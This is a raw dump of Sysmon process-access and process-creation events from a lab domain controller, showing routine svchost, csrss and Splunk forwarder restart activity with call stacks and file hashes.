09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004588Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004587Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004586Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004585Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004584Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-294B-5F80-F000-000000007F01}4680C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004583Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-294B-5F80-EF00-000000007F01}50964708C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE{A5F018FF-294B-5F80-F000-000000007F01}4680C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+6665|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+146d6|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+d8a0|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004582Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.680{A5F018FF-294B-5F80-F000-000000007F01}4680C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool web list settings --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294B-5F80-EF00-000000007F01}5096C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE" restart --waitonpid=2528 10341000x80000000000000004581Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294B-5F80-EF00-000000007F01}5096C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004580Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004579Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004578Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004577Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004576Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004575Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004574Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004573Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004572Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004571Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294B-5F80-EF00-000000007F01}5096C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004570Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-294B-5F80-EE00-000000007F01}11723508C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-294B-5F80-EF00-000000007F01}5096C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40f97|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+d40f|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004569Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.672{A5F018FF-294B-5F80-EF00-000000007F01}5096C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe8.0.2splunk Applicationsplunk ApplicationSplunk Inc.splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE" restart --waitonpid=2528C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3{A5F018FF-294B-5F80-EE00-000000007F01}1172C:\Program Files\SplunkUniversalForwarder\bin\splunk.exesplunk _relaunch restart --accept-license --answer-yes --no-prompt --waitonpid=2528 10341000x80000000000000004568Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.665{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294B-5F80-EE00-000000007F01}1172C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004567Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.650{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004566Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.650{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004565Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.650{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004564Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.650{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004563Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.650{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004562Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 